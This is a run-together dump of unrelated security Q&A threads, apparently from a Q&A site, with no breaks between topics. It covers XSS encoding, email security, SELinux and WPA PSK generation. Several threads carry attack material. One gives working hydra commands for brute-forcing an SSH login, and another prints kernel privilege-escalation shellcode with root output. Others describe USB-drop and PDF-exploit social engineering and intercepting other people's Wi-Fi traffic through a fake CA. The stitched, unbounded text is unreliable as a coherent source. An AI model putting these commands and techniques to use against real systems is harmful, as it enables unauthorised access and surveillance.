.NET provides 8+ ways to encode data to prevent XSS attacks. Which one should I use when? I'm looking at ways to use .NET to prevent XSS attacks and have come across the following methods to encode data:

        string asdf = WebUtility.UrlEncode(code);
        string asdf1 = HttpUtility.UrlEncode(code);
        string asdf1a = HttpUtility.UrlEncodeUnicode(code); // OBSOLETE
        string asdf1b = HttpUtility.UrlPathEncode(code);
        string asdf1c = Uri.EscapeDataString(code);
        string asdf1d = Uri.EscapeUriString(code);
        string asdf1e = HttpUtility.HtmlEncode(code);
        string asdf1f = HttpUtility.HtmlAttributeEncode(code);

(I omitted the byte[] methods... but there are more)

Given that each one of these methods work in a completely different way, and are located in completely different classes I would assume it's easy to cause an XSS issue given the wrong mix of choices.

For a given situation, when is it appropriate to use a given encoding method?  Why?

This is sort of the source for preventing XSS in ASP.NET (at least from Microsoft):
How To: Prevent Cross-Site Scripting in ASP.NET
Some important things to glean from the article specific to your question:

Use the HttpUtility.HtmlEncode method to encode output if it contains input from the user or from other sources such as databases.

use HttpUtility.UrlEncode to encode output URLs if they are constructed from input.

Regarding HTMLAttributeEncode:

The HtmlAttributeEncode method converts only quotation marks ("), ampersands (&), and left angle brackets (<) to equivalent character entities. It is considerably faster than the HtmlEncode method.

The string result from the HtmlAttributeEncode method should be used only for double-quoted attributes. Security issues might arise when using the HtmlAttributeEncode method with single-quoted attributes.

And finally, with UriEscapeString, use that if what you are escaping is a URI. This SO question discusses the difference between UriEscapeString and UriEscapeDataString.


SMS Tracking for a Mobile i want know, where is my partner ( located where ), or How can I check on which Basestation in a city is it logged  etc..

REgards

Ben

You simply can't unless you work for the mobile service provider, have full security clearance, and don't mind losing your job.


Something hits autodiscover/autodiscover.json on my web application We run B2B multi-tenanted application on Azure. Each tenant has a subdomain on tennant1.example.com, tenant2.example.com, etc. Only login page is available to a world, everything else of the application is behind a login. Only a limited number of tenants with a pretty big contract to sign before you can get a login.

For a while our logs indicated that every so often (30-40 hits a day) we get 404 generated by https://autodiscover.example.com/autodiscover/autodiscover.json?Email=realemail%40example.com&Protocol=autodiscoverv1&RedirectCount=1

We don't have a tenant named autodiscover and no such file to serve the requested query, so obviously goes to 404. However, as part of the query it provides an email address which is our real support email address.

Search for autodiscover.json did not reveal how to deal with this and what causes it (no Referrer header on the requests), other than this is something to do with Office365 and MS Outlook.

Now my question - should I be concerned with this? Is somebody trying to configure Outlook client and slowly attempting different passwords? If this is a service, who should I contact to stop this? Is this something I should be providing as part of the appliacation? Is this part of Office365 configuration that somebody started but have not finished (the domain name is pretty old). Should I just redirect them to Ten Hours of Fun?

Microsoft Exchange ActiveSync clients use that URL for finding the  ActiveSync endpoint. The link says that they look for autodiscover.xml, but I bet newer clients look for the .json file (this GitHub comment says it's not documented). It's probably coming from a client set up by one of your employees who has access to that email. It is possible that they tried to setup their email client and failed, but it intermittently tries to discover the correct URL. In any case, it's not an attack, just a misconfigured client.


Cracking Kingston DataTraveler vault privacy - is it possible? I have Kingston DataTraveler vault privacy USB flash drive (DTVP/2GB). Here is tech specs. Flash drive has a 256-bit AES hardware based encryption.
My flash has password protected and I do not know password. Is it possible, to crack password in some way?

The question is - is it possible to get encrypted password hash from flash drive and then brute force it on another machine ?

My flash has password protected and I do not know password. Is it possible, to crack password in some way?

Short answer: No, since neither me nor you know how the device operates inside.

Long answer: This requires a lot of knowledge on how this specific device implements the claimed Enterprise-Grade Security. My best bet would be, most of users here don't know that, and Kingston won't divulge the "commercial secrets" of how they implemented this "security".

That said, my strong belief is that there are weaknesses (poor cipher implementation e.g. leaking key data on flash), debug backdoors (specific commands that e.g. reset the retry counter, upload arbitrary firmware, or anything else -- those are always there), and other nasty things lingering in the device. We simply don't know about them, thus we are unable to exploit them to get you access to what's on the drive.

So to sum it up: for you/me this is probably not possible as we lack knowledge on the device operation. For an abstract attacker -- yes, this may be possible.

NB. If the drive is yours, how come you don't know the password?.. ;-)


Is social-engineering an actual threat I've recently finished book The Art of Deception: Controlling the Human Element of Security by Kevin Mitnick

The book was released on 4th December 2002. Not talking only about techniques described in this book, but are the ways used by social-engineers still a threat today?

I think that now, as we moved at least 10 years from the book and issues described in it, we should be immune to such attacks, as we can quickly verify any information presented to us and with possibilities to use cyphering, high-speed mobile network connections, privileges control systems, biometric identification, etc...

Do I live in false sense of safety, or is it fear speaking from me?

And now you can think about, whether it was an social engineering to ask such question and get all your valuable knowledge, or not. :-)

You most definitely live in a sense of false security! Social engineering is very prevalent still today, and I doubt that is about to change in decades if ever.

Here are some brief explanations on why social engineering works. It's tough to cover everything because social engineering is a really broad field.

Some reasons why social engineering works (From the book quoted in the bottom):

Most people have the desire to be polite, especially to strangers
Professionals want to appear well-informed and intelligent
If you are praised, you will often talk more and divulge more
Most people would not lie for the sake of lying
Most people respond kindly to people who appear concerned about them

Being helpful

Usually humans want to be helpful to each other. We like doing nice things!

I run into the reception at a big corporate office with my papers soaked in coffee. I talk to the receptionist and explain that I have a job interview meeting in 5 minutes, but I just spilled coffee over all my papers. I then ask if the receptionist could be so sweet and print them out again for me with this USB memory stick that I have.

This might lead to an actual infection of the receptionist's PC and may gain me a foothold within the network.

Using fear

The fear of failing or not doing as ordered:

The company's director's (John Smith) facebook page (or whatever other source of information) reveals that he has just left on a cruise for 3 weeks. I call the secretary and with a commanding voice I say "Hi, it's Chris calling. I just got off the phone with John Smith, he's having a very good time on his cruise with his wife Carla and kids. However, we are in the midst of integrating a very important business system and he told me to give you a call so you can help us. He couldn't call himself because they are going on a safari, but this is really urgent. All you need to do is take the USB stick that is addressed to him in the mail and plug it in, start the computer and we are all done. The project survives!

Thank you very much! You have been a great help! I am sure John Smith will recognize you for this act of helpfulness. "

Playing on reciprocation

The tailgate. I hold the entry door for you, and I quickly walk behind you. When you open the next door, which is security enabled, I head in the same direction and most people will try and repay the helpful action by holding the door for you again, thus allowing you into a place where you should not be. Worried about getting caught? Nah.. You just say you're sorry and that you went the wrong way.

The target would almost feel obliged to hold the door for you!

Exploiting the curiosity

Try dropping 10 USB sticks in various locations in your organization. You don't have to place them in too obvious places. The USB should have an auto-run phone home program so you can see when someone connects the USB stick and should theoretically be exploited.

Another version of this is to drop USB sticks with a single PDF document that is called e.g. "John Smith - Norway.pdf". The PDf document contains a Adobe Acrobat Reader exploit (there is tons of them) and once the user clicks the document he will be owned. Of course, you have made sure that the exploit is tailored to the target organization's specific version of Adobe. It will feel natural for most people to open the document so that they can try return the USB stick to its owner.

Another example of curiosity (maybe another term explains this better) is all these SPAM mails or bad Internet ads that you have won something or a Nigerian prince is offering you a whole lot of money if you can help him. I am sure you are familiar with these already, but these are also social engineering attacks, and the reason they haven't stopped is that they still work!

That's just a few examples. Of course there are tons more!

We can also take a look at historic social engineering events:

HBGary

Full story can be read here (Page 3 contains the social engineering part)

Last year HBGary was hacked. This attack involved many different steps but also a social engineering aspect as well. Long story short, the hacker compromised the email account of a VIP in the company and sent an email to an administrator of the target system saying something like this: "Hi John, I am currently in Europe and I'm bouncing between airports. Can you open up SSH on a high numbered port for me coming from any IP? I need to get some work done". When the administrator gets this email he feels it is natural to comply with this, seeing as the email is coming from a trusted source.

But that is not it! The attacker had the password for the account, but the login was not working! So he emails back to the administrator "Hey again, it does not seem to be working. The password is still  right? What was the user-name again?". Now he has also provided the actual password for the system (the attacker had it from the earlier compromise of another system in the same hack), giving the attacker a whole lot more trust from the administrator. So of course the administrator complies and tells the attacker his user-name.

The list at the top comes from the book "Social Engineering: The Art of Human Hacking" and I can very highly recommend it!


If most companies do not enable TLS for SMTP and IMAP, should we consider email not secure at all? Many of our partner companies's email service do not enable encryption. Does that mean our email is not protected at all?

Email is not secure. By default, it is not authenticated. SSL/TLS on SMTP and IMAP, at best, protect the emails while in transit, not when they are at rest; and you cannot be sure that such protection has been applied.

To some extent, when sending emails within a given organization, you might know that SSL/TLS was enforced on both SMTP and IMAP, and the confidentiality issue is "just" a matter of storage on the server side. But you cannot have the same kind of guarantee when the email must cross organization boundaries.

To get proper end-to-end security for emails, look up S/MIME and OpenPGP. The tools themselves won't ensure absolute security, because part of security is what the users do and understand, but at least these tools allow the achievement of secure emailing.


What are the risks of making ether-wake available to all users? The Linux ether-wake utility, which creates a magic packet to wake on lan another machine, requires root access:

$ether-wake 12:34:56:78:9A:BC
ether-wake: This program must be run as root.

To give access to an arbitrary user would require either making it SUID root, or adding /sbin/ether-wake to /etc/sudoers.

My concern is that ether-wake must require root for a reason, so does that mean that it isn't safe to allow ordinary users access to this command?

What detrimental effects on our network could result from giving users access to this command?

That utility needs root access because it uses a raw ethernet socket. In a similar way, ping needs root access, as it also uses raw sockets. The difference is that (on most systems) ping is suid-root so any user can run it.

If you're happy with non-root users generating these packets, you can make etherwake suid-root, or use sudo as you suggested. There is a small technical risk, in that etherwake may have privilege escalation vulnerabilities, but given that the program is quite simple, I'd find that risk acceptable.


Does a chain of proxies (e.g. one connecting to another and another and so on) make tracing the original IP harder/impossible? I see nobody here has asked this question. What if one, instead of just using a single proxy, connected a proxy-to-proxy in a very long chain and downloaded something (illegal) using secure packets (so no one can see what OS, etc.) through the long chain of proxies back to them?

Wouldn't it be too wasteful to go through dozens of proxies finding the last log from the last proxy to continue finding the proxy before that, etc., for authorities to bother with or time to spend for it?

Also, what if one placed an illegal ISO, say, on a cloud server from a chain of proxies, and then, from another device using the same method, one could download the file, and nobody could:

1.Tell who uploaded it without extreme difficulty, if even bothered/possible.

2.Tell who downloaded it, or whether or not anyone can prove that what one uploaded through the chain is illegal in the first place, and that the downloader has knowledge of this(e.g. name similarity, mismatch, misidentification of file name, hard encryption format that the downloader only knows the key to).

So here's my overview:

Does a chain of proxies make it harder and harder for authorities to trace the original IP?

Can't hard encryption prevent anyone from identifying what a file contains if one can't decrypt it, thus, letting illegality off the hook?

The way an investigator would trace a multi-hop connection to the original source is to follow each hop, and examine either the logs (if the connection is closed) or the network state (if the connection is ongoing) to see where the next hop goes. This can get very difficult if the hops cross political or jurisdictional borders, since the cooperation of multiple authorities may be necessary (and they may not want to cooperate), and more difficult still if the hops involve organizations which do poor security and logkeeping. Depending on the resources of the investigator, tracing such a connection can range from annoying to difficult to simply impossible.

As an alternative, the investigator may look for information leakage through other channels; perhaps the same username or cookie shows up under a different IP, for example.

If the cryptography is done correctly, then it is impossible to tell a file's contents just by the encrypted container, which is the point to cryptography. But to convict a suspect, the authorities need only to convince a panel of jurors that a law has been broken, or in certain cases simply that it was the defendant's intent, which means that decrypting the file may not be necessary. If the corresponding forum post says that the file contains an encrypted copy of X, that may be enough.


Can a new signature be added to an already signed message? Suppose Bob receives a clear-signed message from Alice. Bob wants to add his own signature to this signed message, because he has verified the message contents and wants his friends (network of trust) know the message is authentic. But Bob also wants to leave Alice's signature so that the message keeps its authenticity for her network of trust.

I know gpg can sign a single message with multiple keys at once (gpg --clear-sign -u key1 -u key2), but can you add a signature after signing and if so, is gpg capable of doing that? If not is it because it's against the PGP specification and why?

Bob can create a detached signature, and distribute that along with the message.

This can be done with or without leaving the original signature in place in the message that is being signed. With a cleartext signature, the signature from Alice could also be stripped from the message and left as a detached signature, if desired.

With GnuPG, --detach-sign or -b can be used to create a detached signature, whereas --sign or -s creates a signed message, or --clear-sign or --clearsign creates a cleartext signature.

Bob could also in principle clearsign the already clearsigned message, but that quickly gets ugly.

If the original plan is for multiple users to independently sign the message, then it is probably a good idea to have each user make a detached signature, then distribute everything together.


ESET detected incoming connection to Rundll32 My ESET Smart Security 7 detected incoming connection from an external computer, since Rundll32 can be run by any programs on my computer and I don't know which program is doing this, so I am concerned.

Is there a way to check which program waiting and accepting this external connection from the Internet?

rundll32.exe is used to execute code from a dll, so -assuming it's the legit rundll32- you would need to check which dll is being run, eg. with ProcessExplorer.


Login to one site using other site's credentials I am frequently seeing websites that allows a user to log-in to their site using other websites log-on credentials. If there is a page that allows me to log-in using my google account or facebook account, will the former site could get my google/facebook login details?

Sites like Google and Facebook implement protocols such as OAuth to accomplish what you describe and what is known as Delegated Authorization.

In short, the answer to your question is no. Sites that allow you to sign in with your other accounts never see your account credentials. In simple terms, Google / Facebook are creating a limited use token that links you to your account that may be used to access some of your information on Google / Facebook. Typically, it goes like this:

The client (other website) obtains a token from the server (Google for Example)
The client requests authorization from the Resource Owner (you)
The resource owner validates the request and grants authorization.
The client exchanges the request token for an access token.

There are different methods (flows) that achieve this same principle. You can read more about it here:

http://oauthlib.readthedocs.org/en/latest/oauth2/grants/grants.html


selinux : blocking sudo and su usage by placing user into user_t profile I am trying to block privileges escalations from unprivileged accounts such as www-data.

Basically, if my web server is getting compromised, crackers may find ways to escalate (vulnerabilities found in sudo? root password reuse from another cracked server ?). I want to find a way to forbid this, and I found that putting www-data into user_u selinux profile has this effect.

However, looking at the audit.log file when www-data tries to sudo or su shows this:

For sudo:

type=AVC msg=audit(1533818833.807:318): avc:  denied  { setuid } for  pid=1417 comm="sudo" capability=7  scontext=user_u:user_r:user_t:s0 tcontext=user_u:user_r:user_t:s0 tclass=capability

Was caused by:
The boolean selinuxuser_use_ssh_chroot was set incorrectly.
Description:
Allow selinuxuser to use ssh chroot

Allow access by executing:
# setsebool -P selinuxuser_use_ssh_chroot 1

For su:

type=AVC msg=audit(1533818282.076:263): avc:  denied  { write } for  pid=1354 comm="su" name="btmp" dev="dm-0" ino=8428621 scontext=user_u:user_r:user_t:s0 tcontext=system_u:object_r:faillog_t:s0 tclass=file

Was caused by:
    Missing type enforcement (TE) allow rule.

    You can use audit2allow to generate a loadable module to allow this access.

So, for sudo, it looks like more than a bug (why selinuxuser_use_ssh_chroot ??!) and for su, the deny comes from insufficient rights on /var/log/wtmp

Is this method efficient to block possible escalation from untrusted users ? Or does it look more than a hack ? Is this sufficient to prevent compromised user with root password to get root access?

The message about selinux_use_ssh_chroot boolean is a diagnostic suggestion based on the generated AVC denial message. The exact denial is for setuid capability and the boolean in question would enable a rule allowing the operation, hence it was automatically suggested. Similarly an automatic suggesting for additional rule allowing access was generated when you attempted to use su. AVC denial messages are to be expected if you attempt to gain privileges as confined user.

However, your testing doesn't reflect how web server (apache or nginx) would behave in confined domain. By default, it should run in confined httpd_t domain. If there isn't a targeted policy in place, the service will run in unconfined domain, not in user_t.

If a confined web server is compromised, the attacker is still confined httpd_t domain and can't gain any new permissions that weren't originally allowed. There shouldn't be any rules allowing a process in httpd_t to  execute sudo/su. Even if the process should manage to chuid to root, without any transition rules to another domain the process would still stay in httpd_t and be restricted to the rules for httpd_t.


Localhost WebSocket defense If a malicious application has found its way onto a computer running a localhost only WebSocket server, would it help if the communications used SSL?

If so, how could SSL fail if a malicious app

Had total control over the computer
Was a non-root linux user
Could only listen to communications

SSL will usually not help.

If the attacker has complete control over the computer, then he wins. He can inspect and modify the memory of all process in the computer.

If the attacker is only a non-administrative user, then he won't be able to spy on process from other users. However, if the attacker can run code as the same user as either the server or the client of your envisioned localhost-only connection (or both), then he can plunder the RAM of the involved process, and he wins. Also, assuming a non-administrative attacker means that you trust that the said attacker could enter the machine but did not find any privilege-escalation exploitable hole: that's a rather optimistic assumption.

If the attacker can only listen to communications, but not have a look at the memory of the process, then SSL may help, since it will prevent spying. However, this is not a very realistic scenario: spying on localhost connections requires local admin privileges.

Where SSL may help is about authentication: a local attacker, with non-admin rights, may try to connect to the server and impersonate the client, or vice-versa. SSL provides authentication: the client validates the server's certificate, and, if the server asked for a client certificate, the server validates the client's certificate. Note, though, that on localhost, there are more efficient ways for a server to know who is at the other end of the socket (e.g. getpeereid()).


Brute-force an SSH-login that has only a 4-letter password Suppose, you know that a certain computer is only protected by such a short password, then you could just try every possible combination easily.

How would a script look like, that tries to crack that password?

Something like

#!/bin/bash
wordlist=create_wordlist(); # external defined
for i in $(cat $wordlist); do
  echo ssh username@localhost pipe password $i here;
done

(I know, this is not a good example but my bash skills are not that good yet)

hydra can generate the passwords for you. No need to generate them separately if you will be using brute force:

hydra -l user_name -V -x 4:4:aA1 ip_address ssh

-V means verbose, -x 4:4:aA1 means min is 4 letters, max is 4 letters. List of letters is a-z denoted by a, A-Z denoted by A, 0-9 denoted by 1. You can add other characters like %_-+/

You need to wrap apostrophes around the -x option if you add special characters like space, ^,&,* or ":

hydra -t 128 -l user_name -V -x '4:4:aA1"@#$!()=`~?><;:%^&*_-+/,.\ ' localhost ssh


linux kernel exploit shellcode causes segfault I'm learning how to write kernel exploits and my shellcode keeps seg faulting.

I'm getting the memory address for commit_creds(prepare_kernel_cred(0));

#grep commit_creds /proc/kallsyms
c907eea0 T commit_creds

#grep prepare_kernel_cred /proc/kallsyms
c907f1d0 T prepare_kernel_cred

shellcode.s

main:
 xor %eax,%eax
 call 0xc907f1d0
 call 0xc907eea0
 ret

compile shellcode:

gcc -fno-stack-protector -m32 -z execstack -N -o payload payload.s -nostdlib -Ttext=0

objdump -d shellcode

 payload:     file format elf32-i386

 Disassembly of section .text:

  00000000 <.text>:
      0:    31 c0                   xor    %eax,%eax
      2:    e8 c9 f1 07 c9          call   c907f1d0 <__bss_start+0xc907f158>
      7:    e8 94 ee 07 c9          call   c907eea0 <__bss_start+0xc907ee28>
      c:    c3

shell.c

#include<stdio.h>
#include<string.h>

const char shellcode[] = "\x31\xc0\xe8\xc9\xf1\x07\xc9\xe8\x94\xee\x07\xc9\xc3";

int main()
{

    printf("Shellcode Length:  %d\n", strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
    return 0;
}

gcc -fno-stack-protector -z execstack -m32 shell.c -o shell

./shell

OUTPUT:

 Shellcode Length:  13
 Segmentation fault

I'm not sure why it crashes on x86.

Please help.

All good I have figured it out all I needed to do is turn off NX Execute in the  kernel terminal by

pressing e and type in noexec=off on the linux line and boot in by pressing F-10 and compile the exploit with.

  gcc -m32 -fno-stack-protector -z execstack w00t.c -o w00t

and I also didn't need to test the shellcode because it kept segfaulting.

but it worked!! I got root!!

OUTPUT:

  root@kali:~/null_dereference# su blake
  blake@kali:/root/null_dereference$ ./w00t

    [-] Allocating memory.
    [-] Copying shellcode into memory.
    [-] Opening file descriptor.

            *** BANG ***
            ------------

    [+] YOU ARE ROOT

    # id
    uid=0(root) gid=0(root) groups=0(root)


Re-Use Client Certifactes I have a legacy web application where user are identified and authenticated with client certificates. Now, customer wants to use the same client certificate to authenticate against a newly created web application (different host name). I think this is not possible, since the server certificates have to be different.

Is there a way around that? Is it possible to re-sign a certificate? (I have access to all certificates, server keys and the signing CA and am writing the new application).

Client certificates are used to authenticate the clients, so they should have nothing to do with your server certificate.

Step 1
Client certificates are signed by a CA. If you tell your web app (your server) to trust that CA, then your server will accept the client certificate. Simple as that. Depending on your setup, this is easy to do. For example, for Apache, you can add the following in httpd.conf:

SSLVerifyClient require
SSLVerifyDepth 1
SSLCACertificateFile conf/ssl.crt/ca.crt

Where the 'SSLCaCertificateFile' contains the path to the certificate of the CA which was used to sign the client certificates.

Step 2
Step 2 is then to make sure the client is known (but this should be irrelevant for your question). This is, the certificate is trusted now (step 1), now you have to extract the client name (which is present in the certificate), and make sure this client can be granted access.


Is there a value in using portable programs on a USB key? If I am working writing a text document in a text editor (say notepad or MS word, or ...) then I can save the file and the encrypt this file. I can then try to erase the original file by overwriting it (using proper software). From what I understand there is a small (?) problem doing this because copies of the file might be made elsewhere on the hard drive. (I understand that parts of the file might also exist in the memory, but for this question I would be interested in what happens on the hard drive)

I was wondering if this problem can be avoided by using a portable version of the text editor running of a USB key and saving the file to the USB key only. That way one can physically carry the USB key around which offers some security.

My question is if this is correct. When using a portable program on a USB key, is it common that the programs saves (backup)copies of the file on the hard drive?

More generally: Is there a value in using portable programs on a USB key?

So answering backwards:

Yes There is advantage to using portable programs on a USB key.

Access to programs not available on existing OS configuration.
Versions not available.
Not leaving wholesale footprints on the OS.

BUT:

There is some evidence left behind on the OS.

Programs used will leave evidence on 'last run programs list'
Memory used (programs / documents) may leave evidence in the virtual memory system, even saving the data to the hard drive in the swap files.
Logging in the OS will record the programs/documents depending on how setup.
Aggressive reporting programs (or spyware) may log / record / investigate the running system.
The software program itself may store details on the C:/ drive, temp directory or registry.

There is some evidence left on the network.

Logging on the Proxy servers.
Browser detection on the Proxy Servers.
Other Logging and Application detection due to network access.
Program / intrusion detection in the Network (Intrusion Detection Systems - IDS / Intrusion Protection System - IPS).


How can browser select suggestions for my private searches? I use a VPN service that provides a pool of IP addresses, I clean history/cookies/etc - all the browsing data before a session.

Regardless, when I type in the search of one particular search engine, I begin to receive personalized suggestions that, for sure, are based on my previous queries as these suggestions are very rare and surely cannot be common.

I use FireFox as a browser, with standard settings and without addons. I am not using any accounts like a Google account.

How can either FireFox or the Search Engine know my history under the aforementioned circumstances?

And how can I make my VPN sessions unique (providing they do have unique IPs) for web-servers?

If you are truly clearing all the local records when you close the browser, are not logged in to any accounts and are connecting through a VPN, then it is possible they are using information your browser itself reveals about you to guess at who you are.  Certain information can be provided by a browser to the server.

Things like available font lists and lists of installed plugins can be very unique and result in being able to detect your system.  It's also possible that you haven't killed all local records.  Browser cookies are not the only way to store information.  Various plugins (such as Flash, or even built in features of the browser) can provide additional storage capability or track what you are doing locally.

Are you sure that you do not have any of Firefox's built in search optimization stuff turned on?  Firefox has sync features that keep an online record of your activity to allow it to follow you from one device to another.  This could easily be responsible for the observed behavior.  There can also be other more stealthy local records such as storing cookies via Flash.


Is it possible to assign MAC-address-specific passphrases for a WiFi network? Private network access security can be defined by a unique WPA2 passphrase to grant access to devices and MAC address filtering to control authorized devices. Nowadays mobile devices are legion, so if one is stolen, the WPA2 passphrase is easily recoverable. So the router admin has to change the passprase and ask all users to change their connection on devices. Not so simple with family users whose skills are limited.

Would it not be useful to put one specific passphrase for each MAC address? With that option, if a mobile device is stolen, the admin just have to revoke the device and the associated passphrase, without changing anything to others.

The ability to revoke client access on a device-by-device basis is a feature of Enterprise WPA, which uses a RADIUS server for authentication purposes. Authentication is achieved using variants of the EAP protocol.

In this set up you issue certificates for each client, which can be revoked by your CA in the event the client's private key is compromised.


Forensic research: What OS to use I have been given an assignment from my school, in wich I have been given a Virtual image of a compromised system. The first thing I need to do is setup a environment to wich we can mount the image. I need to choose an OS, and I was wondering: What should I choose, and why? If anyone could give me any pointers I should look out for, it would be much appreciated! Thanks

I would go for Kali Linux .

This Linux distribution is made for pentesting and security analysis. It contains a great many analysis tools, right in your main menu.

In general, I would use an Open Source OS for security-related work, because with Open Source there is public scrutiny that your tools themselves are not compromised.


Is this PHP TOTP (time based one time password) idea sound? Disclaimer: I am not very familiar with safety techniques in general.

The problem: Quickly create lots of small files in server from a bash script.

I used to use scp (secure copy) in order to create those files but I found it extremely slow with the login operation needed, even when using a shared key through SSH.

So I thought to create one bash script and one php script that share a key in order to speed up the operation doing only the absolutely essentials.

Client's Bash sends a final password, the filename of the file to create, the content of that file and the current UTC second.

In client, the final password is calculated as:

#pseudocode
final password = sha256( ${currentDateTime}${sharedKey}${remoteFilename}${content} )

The request is posted to the server using the CURL command.

Server's PHP now has the password from the client, the filename to create, the content, and the UTC second the request started from. Server calculates the full UTC time by going to the closest second to the past that matches the UTC second sent by the client. For example if second send by the client = 12 and server UTC time is 13:42:25, then 13:42:12 is used by the server.

Server php generates its own "real" password (aka the password that the client SHOULD use for that UTC time (13:42:12 in this example), that filename and content, based on that shared key:

$realPasswd = hash('sha256', $timeString.$sharedKey.$filename.$content);

Then server checks $realPasswd against the password sent by the client (the so-called final password I referred to earlier)

On my noobish understanding, this technique should be pretty safe, because, even if the whole request is sniffed by an attacker, then he will only be able to send exactly the same request and only for 1 minute (because the final password will change for the next UTC minute).

He will not be able to alter the remoteFilename or the content and he will be able to create acceptable by the server requests only for 1 minute.

What is your opinion on this?

It is not clear whether the server already knows both the filename and the content of the file which is created at a given UTC time.

If these data are already known, an attacker could somehow guess or  retrieve them, and then build an attack by trying all the 60 possible "final passwords".
If these data are not already known and are sent within the same request, an attacker might create an arbitrary file on the server by creating a new request,containing filename, content, UTC second(which can be brute-forced in less than 60 attempts) and the corresponding password.


How can I see the websites visited by clients of my WLAN? How can I view the websites that are visited by the user of my wifi?
What tools are required to do this? And one more question: can I see the WhatsApp  communications?

You can intercept the traffic by building a bridge between the AP and the uplink. This can be done by using the bridgeutils and two network interfaces.  The software side is described here.

This will allow you to capture and view all traffic. You can then display the data in wireshark or use a transparent proxy to get the informations you want in a protocol specific way. You can use squid for http for example. It will not be possible to read encrypted traffic unless you have administrative privileges on the hosts that are connected.

You can also only display the DNS requests to gather information abour what hosts are resolved. This will not only include all hosts that are used as http servers but all hosts that are used by your clients.

When you have administrative privileges on the hosts connected you can install a fake CA certificate in the browsers and the OS list and then intercept the SSL connection using a tool like mitmproxy which is described here.

To be specific for whatsapp have a look at this article it will almost surely not work.


Ingesting markup from WYSIWYG text editors Maybe I'm missing something obvious here... The development landscape is littered with client-side WYSIWYG text editors (for example, TinyMCE), all of which seem to want to send raw HTML back to my server via something like a textarea. The obvious challenge with a scheme like this is that, even if the editor can be trusted not to produce malicious HTML, it's trivial for a hacker to inject malicious HTML into a POST back to my website.

What am I missing? Does everyone who uses one of these client-side text editors attempt to "sanitize" the ingested HTML to remove malicious content? That would seem to be a losing game between the website and the bad guys, who are always coming up with creative constructs designed to elude HTML cleaners.

So, just thinking out loud here... For my project, I just need super-simple formatting (bold, italic, maybe bulleted lists). Some options for dealing with untrusted HTML-formatted text might be:

Somehow Cryptographically authenticate the HTML textarea content to prove that it was generated by trusted JavaScript in the browser?
The server could convert the ingested HTML to a "safe" format such as markdown. Presumably, the conversion process would be immune from attack because its output is a format that can be stored and later rehydrated to safe HTML for display on the website.

EDIT:

As at least one commenter has noted, it's possible to trick markdown into emitting malicious HTML. By extension, any rich text format that converts to HTML which is directly included in the web page is subject to a similar class of attacks. So my "convert the HTML to a 'safe' format" option is no better than simply trying to sanitize the uploaded HTML.

I would think that there should be some way to guarantee that all JS content is removed from the uploaded HTML. Obviously, browser engines recognize (and execute) sneaky JS. It should be easy enough to write some code that answers the question: "Is there any JS in this HTML snippet?" (Even better would be a <nojs> HTML tag that tells browsers not to execute any JavaScript that appears in its inner HTML, including HTML pulled in from <iframe> elements. I wish...)

Somehow Cryptographically authenticate the HTML textarea content to prove that it was generated by trusted JavaScript in the browser?

This is a no go. For the client to sign something, it would need the key. And you can't trust the client with the key. Off course you could have  the server do the signing, but then you are back to square one again...

  The server could convert the ingested HTML to a "safe" format such as markdown.

This sounds like the way to go. Convert it to markdown, strip any HTML tags. Then convert it back to HTML and perhaps run it through a HTML purifyer to make sure there are nothing but i and b and so on in there.

Off course, it would be simpler with an editor that just produce markdown in the first place.


Explain Security to Employer My employer wants/wanted to install a 3rd party app on my personal cell phone.  One of the issues that we are still not seeing eye-to-eye with is regarding security.

Here are some issues that concern me:

The 3rd party sent everyone in our company the same password in a company-wide e-mail.
The app does not have a way to change the password.
All of our usernames are predetermined and easily guessable.
It's possible to login as anyone from any device into this app.

My boss has used a car analogy, suggesting that I'm requesting security similar to "full roll cage, 5 point safety harness, helmet, and HANS device, and a fire suppression system".  I've pointed out that the security of the app is more like that of a Ford Pinto.  I've compared his car safety analogy to "more like using 2-factor authentication with 32 character randomly generated password using a mix of lowercase, uppercase, numbers, and special characters stored via salted password (inefficient) hashing with each user having a different randomly generated salt".

I am no security expert.  Perhaps I was incorrect with my response to him.  Can someone point me to either a better response (e.g. an unbiased source)?

Update
A few people have asked what type of app it is.  The best way I can explain it is a social media app for just our company.

Let's address your points one by one.

  The 3rd party sent everyone in our company the same password in a company-wide e-mail.

A password that everyone knows is not a password. It's like leaving the key under the mat, only without the mat to hide it.

  The app does not have a way to change the password.

So if you ever lose your keys or think someone else might have them, you can't change the locks - and from point 1, we know that your keys are already in other people's hands.

  All of our usernames are predetermined and easily guessable.

So, the people who have your keys also know where you live.

  It's possible to login as anyone from any device into this app.

Put the first three together - other people have your keys, they know where you live, and you can't change the locks - and yeah, this is the result. Anyone can get into somewhere that should be yours alone. To recycle your employer's car analogy, he's asking all employees to lock their cars but leave the keys in the door, and then park in the company car park underneath a sign with their name on.

And on top of all this, he's asking you to do this on your personal phone. Your employer has no right to be touching that device. Depending on what this app does, this could be exposing your personal data to risk because of a third-party security flaw that you have no control over.

Even if the third-party app isn't malicious and doesn't do anything that causes a risk, there's no guarantee that it's 100% free of accidental flaws or bugs that might cause a security weakness or present an opportunity for some other malicious party to exploit. Given this third-party company's atrocious handling of basic security practices like "don't email passwords", "don't re-use passwords", and "always allow users to change their passwords", the chances of their app being completely safe, secure and free of vulnerabilities is looking pretty slim.


Wireshark decrypt and save wireless packets from command line I have a question that I can't seem to find a complete answer for. This may not be something that is possible, but I am hoping someone will have a solution.

At my work, we process wireless sniffs in wireshark. We have a shell script to merge and filter the files into the forms that we want, but we still have to manually generate a PSK and add it in wireshark preferences to decrypt each file for analysis. I would like to add a line to decrypt the main file before filtering and save it in a decrypted format.

Here is the problem: I know I can use the -o flag when running tshark to add the psk to the computers decryption keys, but the processing is done on one computer then the files are distributed among many employees for analysis, so I need the files themselves decrypted.

I know I can use aircrack-ng to decrypt pcap files, but we use pcapng files and aircrack does not recognize those.

Is there any solution? It would even help if I could somehow generate a psk from ssid and password and save that as a text file, but there does not even seem to be a clean way to do that.

We use Ubuntu 16.04 as our OS. Wireshark version 2.0.2.

Is there any solution? It would even help if I could somehow generate a psk from ssid and password and save that as a text file, but there does not even seem to be a clean way to do that.

If you know how to use python, try this:

import sys
import binascii
from passlib.utils import pbkdf2

orig_stdout = sys.stdout
f = file('savefile.txt', 'w') # Specify the name and path of the output file.
sys.stdout = f

essid = 'examplessid' # Set ESSID
password = 'examplepassword' # Set password

psk = pbkdf2.pbkdf2(str.encode(password), str.encode(essid), 4096, 32)
print binascii.hexlify(psk)

sys.stdout = orig_stdout
f.close()

It will save psk to a text file. Tested in python 2.7


